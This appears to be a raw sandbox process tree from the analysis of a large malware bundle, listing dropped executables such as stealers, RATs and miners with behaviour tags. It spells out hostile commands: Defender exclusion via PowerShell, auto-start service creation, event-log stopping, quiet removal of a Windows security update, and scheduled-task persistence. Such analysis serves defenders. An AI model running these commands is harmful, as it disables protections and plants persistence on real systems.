C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\xtmp" mkdir "C:\Users\Admin\AppData\Local\Temp\xtmp"4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\xtmp4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\attrib.exeattrib +h C:\Users\Admin\AppData\Local\Temp\xtmp5⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\is64.txt4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\is64.bat4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat"4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp32238.exe" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp32238.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\Sysnative\cmd.exe /C C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat "C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %34⤵
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat "C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %35⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat"4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp32238.exe" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp32238.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AITMP0\IconRemoval.exe"C:\Users\Admin\AppData\Local\Temp\AITMP0\IconRemoval.exe" /s %23⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AITMP0\7zipFOPBACKEND.exe"C:\Users\Admin\AppData\Local\Temp\AITMP0\7zipFOPBACKEND.exe" /s %13⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rty27.exe"C:\Users\Admin\AppData\Local\Temp\Files\rty27.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\easy.exe"C:\Users\Admin\AppData\Local\Temp\Files\easy.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f0776.exe"C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f0776.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup4.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup4.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\FourthX.exe"C:\Users\Admin\AppData\Local\Temp\FourthX.exe"3⤵
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "UTIXDCVF"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "UTIXDCVF" binpath= "C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "UTIXDCVF"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\plaza.exe"C:\Users\Admin\AppData\Local\Temp\Files\plaza.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\windows.exe"C:\Users\Admin\AppData\Local\Temp\Files\windows.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\april.exe"C:\Users\Admin\AppData\Local\Temp\Files\april.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-HP503.tmp\april.tmp"C:\Users\Admin\AppData\Local\Temp\is-HP503.tmp\april.tmp" /SL5="$404E4,5944334,54272,C:\Users\Admin\AppData\Local\Temp\Files\april.exe"3⤵
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\update.exe"C:\Users\Admin\AppData\Local\Temp\Files\update.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crpta.exe"C:\Users\Admin\AppData\Local\Temp\Files\crpta.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\User%20OOBE%20Broker.exe"C:\Users\Admin\AppData\Local\Temp\Files\User%20OOBE%20Broker.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\User%20OOBE%20Broker.exe"C:\Users\Admin\AppData\Local\Temp\Files\User%20OOBE%20Broker.exe"3⤵
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pinguin.exe"C:\Users\Admin\AppData\Local\Temp\Files\pinguin.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"2⤵
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe"C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe"2⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
-
-
C:\Users\Admin\AppData\Roaming\wshom\liveupdate.exeC:\Users\Admin\AppData\Roaming\wshom\liveupdate.exe2⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe3⤵
- Drops startup file
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\certutil.exeC:\Windows\System32\certutil.exe4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Posh_v4_dropper_x64.exe"C:\Users\Admin\AppData\Local\Temp\Files\Posh_v4_dropper_x64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\23.exe"C:\Users\Admin\AppData\Local\Temp\Files\23.exe"2⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hncc.exe"C:\Users\Admin\AppData\Local\Temp\Files\hncc.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe"C:\Users\Admin\AppData\Local\Temp\Files\1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe"C:\Users\Admin\AppData\Local\Temp\Files\1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c net use3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\net.exenet use4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\659474921cf6a4423645f52a7bf5a9be0e42f41573cb6918d5fdebd66b07e4b2.exe"C:\Users\Admin\AppData\Local\Temp\Files\659474921cf6a4423645f52a7bf5a9be0e42f41573cb6918d5fdebd66b07e4b2.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe"C:\Users\Admin\AppData\Local\Temp\Files\%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Wattyl.exe"C:\Users\Admin\AppData\Local\Temp\Files\Wattyl.exe"2⤵
- Modifies WinLogon for persistence
- Disables RegEdit via registry modification
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT /delete /yes3⤵
-
C:\Windows\SysWOW64\at.exeAT /delete /yes4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe3⤵
-
C:\Windows\SysWOW64\at.exeAT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dota.exe"C:\Users\Admin\AppData\Local\Temp\Files\dota.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\net.exe"C:\Users\Admin\AppData\Local\Temp\Files\net.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dropper_cs.exe"C:\Users\Admin\AppData\Local\Temp\Files\dropper_cs.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\r.exe"C:\Users\Admin\AppData\Local\Temp\Files\r.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe"C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe"C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\images.exe"C:\Users\Admin\AppData\Local\Temp\Files\images.exe"2⤵
- Modifies WinLogon for persistence
- Disables RegEdit via registry modification
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT /delete /yes3⤵
-
C:\Windows\SysWOW64\at.exeAT /delete /yes4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe3⤵
-
C:\Windows\SysWOW64\at.exeAT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jopacrypt.exe"C:\Users\Admin\AppData\Local\Temp\Files\jopacrypt.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Itkool-Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Itkool-Setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\inte.exe"C:\Users\Admin\AppData\Local\Temp\Files\inte.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gpupdate.exe"C:\Users\Admin\AppData\Local\Temp\Files\gpupdate.exe"2⤵
- Suspicious use of SetThreadContext
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Temp3.exe"C:\Users\Admin\AppData\Local\Temp\Files\Temp3.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lumma1234.exe"C:\Users\Admin\AppData\Local\Temp\Files\lumma1234.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\VLTKNhatRac.exe"C:\Users\Admin\AppData\Local\Temp\Files\VLTKNhatRac.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NeonRank.exe"C:\Users\Admin\AppData\Local\Temp\Files\NeonRank.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k move Bathrooms Bathrooms.bat & Bathrooms.bat & exit3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\minuscrypt_crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\minuscrypt_crypted.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe"C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NancyMfg.exe"C:\Users\Admin\AppData\Local\Temp\Files\NancyMfg.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k move Blowjob Blowjob.bat & Blowjob.bat & exit3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe"C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cb0e88abe7aee128ff8635e44df9797d0224aff000d03fc5d9166e575b50f4a1.exe"C:\Users\Admin\AppData\Local\Temp\Files\cb0e88abe7aee128ff8635e44df9797d0224aff000d03fc5d9166e575b50f4a1.exe"2⤵
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\Files\fortnite2.exe"C:\Users\Admin\AppData\Local\Temp\Files\fortnite2.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\costa.exe"C:\Users\Admin\AppData\Local\Temp\Files\costa.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Temp2.exe"C:\Users\Admin\AppData\Local\Temp\Files\Temp2.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"3⤵
- Checks SCSI registry key(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe"C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ce0b953269c74bc.exe"C:\Users\Admin\AppData\Local\Temp\Files\ce0b953269c74bc.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Horpxuoxm.exe"C:\Users\Admin\AppData\Local\Temp\Files\Horpxuoxm.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1234daisaaaaa.exe"C:\Users\Admin\AppData\Local\Temp\Files\1234daisaaaaa.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\plink.exe"C:\Users\Admin\AppData\Local\Temp\Files\plink.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\csaff.exe"C:\Users\Admin\AppData\Local\Temp\Files\csaff.exe"2⤵
-
C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe"C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rty37.exe"C:\Users\Admin\AppData\Local\Temp\Files\rty37.exe"2⤵
- Loads dropped DLL
- Drops desktop.ini file(s)
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LM.exe"C:\Users\Admin\AppData\Local\Temp\Files\LM.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\zxcvb.exe"C:\Users\Admin\AppData\Local\Temp\Files\zxcvb.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\socks5-clean.exe"C:\Users\Admin\AppData\Local\Temp\Files\socks5-clean.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\html.exe"C:\Users\Admin\AppData\Local\Temp\Files\html.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\$77_loader.exe"C:\Users\Admin\AppData\Local\Temp\Files\$77_loader.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v0nyu9h-.cmdline"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\v4install.exe"C:\Users\Admin\AppData\Local\Temp\Files\v4install.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\current.exe"C:\Users\Admin\AppData\Local\Temp\Files\current.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\123.exe"C:\Users\Admin\AppData\Local\Temp\Files\123.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "" "Get-WmiObject Win32_PortConnector"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\beacon_wlan0.exe"C:\Users\Admin\AppData\Local\Temp\Files\beacon_wlan0.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\d4598b22.exe"C:\Users\Admin\AppData\Local\Temp\Files\d4598b22.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"3⤵
- Suspicious use of SetThreadContext
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lolMiner.exe"C:\Users\Admin\AppData\Local\Temp\Files\lolMiner.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\native.exe"C:\Users\Admin\AppData\Local\Temp\Files\native.exe"2⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
-
C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_4.exe"C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_4.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\goldpricesup12.exe"C:\Users\Admin\AppData\Local\Temp\Files\goldpricesup12.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\superz.exe"C:\Users\Admin\AppData\Local\Temp\Files\superz.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\b5ed26bd6f40eda4ff90ec9b4a60b295c77a723d38ebebb0c70997caedc6fb8c.exe"C:\Users\Admin\AppData\Local\Temp\Files\b5ed26bd6f40eda4ff90ec9b4a60b295c77a723d38ebebb0c70997caedc6fb8c.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\idrB5Event.exe"C:\Users\Admin\AppData\Local\Temp\Files\idrB5Event.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\VoidRAT.exe"C:\Users\Admin\AppData\Local\Temp\Files\VoidRAT.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\more.exe"C:\Users\Admin\AppData\Local\Temp\Files\more.exe"2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"1⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe"C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe" -service -lunch1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe"C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\721E.exeC:\Users\Admin\AppData\Local\Temp\721E.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\96CD.exeC:\Users\Admin\AppData\Local\Temp\96CD.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\96CD.exeC:\Users\Admin\AppData\Local\Temp\96CD.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\Temp\96CD.exe"C:\Users\Admin\AppData\Local\Temp\96CD.exe" --Admin IsNotAutoStart IsNotTask3⤵
-
C:\Users\Admin\AppData\Local\Temp\96CD.exe"C:\Users\Admin\AppData\Local\Temp\96CD.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build2.exe"C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build2.exe"C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build2.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 14447⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build3.exe"C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build3.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build3.exe"C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build3.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\BEF8.exeC:\Users\Admin\AppData\Local\Temp\BEF8.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\filename.exe"C:\Users\Admin\AppData\Local\Temp\filename.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
